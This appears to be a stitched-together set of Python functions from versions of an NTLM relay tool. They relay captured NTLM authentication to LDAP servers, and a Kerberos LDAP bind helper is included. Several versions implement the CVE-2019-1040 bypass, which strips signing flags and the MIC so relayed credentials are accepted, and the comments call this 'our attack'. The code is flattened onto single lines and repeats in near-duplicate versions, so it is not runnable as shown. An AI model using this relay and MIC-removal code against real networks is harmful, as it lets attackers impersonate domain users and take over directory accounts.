def sendNegotiate(self, negotiateMessage): self.negotiateMessage = negotiateMessage self.init_connection() with self.connection.lock: if not self.connection.sasl_in_progress: self.connection.sasl_in_progress = True request = bind.bind_operation(self.connection.version, 'SICILY_PACKAGE_DISCOVERY') response = self.connection.post_send_single_response( self.connection.send('bindRequest', request, None)) result = response[0] sicily_packages = result['server_creds'].decode('ascii').split( ';') if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.connection.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.connection.post_send_single_response( self.connection.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: return result['server_creds']
def sendNegotiate(self, negotiateMessage): #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = str(negoMessage) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!')
def sendNegotiate(self, negotiateMessage): self.negotiateMessage = negotiateMessage self.init_connection() with self.connection.lock: if not self.connection.sasl_in_progress: self.connection.sasl_in_progress = True request = bind.bind_operation(self.connection.version, 'SICILY_PACKAGE_DISCOVERY') response = self.connection.post_send_single_response( self.connection.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode( 'ascii').split(';') except KeyError: raise LDAPRelayClientException( 'Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.connection.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.connection.post_send_single_response( self.connection.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: return result['server_creds'] else: raise LDAPRelayClientException( 'Server did not offer NTLM authentication!')
def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove message signing flag # For SMB->LDAP this is required otherwise it triggers LDAP signing # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: LOG.warning( 'The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)' ) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode( 'ascii').split(';') except KeyError: raise LDAPRelayClientException( 'Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException( 'Server did not offer NTLM authentication!')
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS else: if result[ 'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': raise LDAPRelayClientException( 'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )' ) return None, STATUS_ACCESS_DENIED
def sendNegotiate(self,negotiateMessage): self.negotiateMessage = negotiateMessage self.init_connection() with self.c.lock: result = None if not self.c.sasl_in_progress: self.c.sasl_in_progress = True request = bind.bind_operation(self.c.version, 'SICILY_PACKAGE_DISCOVERY') response = self.c.post_send_single_response(self.c.send('bindRequest', request, None)) result = response[0] sicily_packages = result['server_creds'].decode('ascii').split(';') if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.c.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.c.post_send_single_response(self.c.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: return result['server_creds']
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): with self.connection.lock: self.authenticateMessageBlob = authenticateMessageBlob request = bind.bind_operation(self.connection.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.connection.post_send_single_response(self.connection.send('bindRequest', request, None)) result = response[0] self.connection.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.connection.bound = True self.connection.refresh_server_info() return result
def ldap_kerberos_auth(ldapconnection, authdata_gssapi): # Hackery to authenticate with ldap3 using impacket Kerberos stack # I originally wrote this for BloodHound.py, but it works fine (tm) here too ldapconnection.open(read_server_info=False) request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, authdata_gssapi) response = ldapconnection.post_send_single_response( ldapconnection.send('bindRequest', request, None))[0] ldapconnection.result = response if response['result'] == 0: ldapconnection.bound = True ldapconnection.refresh_server_info() return response['result'] == 0
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob authMessage = NTLMAuthChallengeResponse() authMessage.fromString(token) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 token = authMessage.getData() with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS else: if result[ 'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': raise LDAPRelayClientException( 'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )' ) return None, STATUS_ACCESS_DENIED
def sendNegotiate(self, negotiateMessage): # Remove the message signing flag # For LDAP this is required otherwise it triggers LDAP signing # Note that this code is commented out because changing flags breaks the signature # unless the client uses a non-standard implementation of NTLM negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!')
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() return None, STATUS_SUCCESS else: if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') return None, STATUS_ACCESS_DENIED
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname): # Hackery to authenticate with ldap3 using impacket Kerberos stack # I originally wrote this for BloodHound.py, but it works fine (tm) here too username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc, tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey']) # Let's build a NegTokenInit with a Kerberos AP_REQ blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', username.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # From here back to ldap3 ldapconnection.open(read_server_info=False) request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData()) response = ldapconnection.post_send_single_response( ldapconnection.send('bindRequest', request, None))[0] ldapconnection.result = response if response['result'] == 0: ldapconnection.bound = True ldapconnection.refresh_server_info() return response['result'] == 0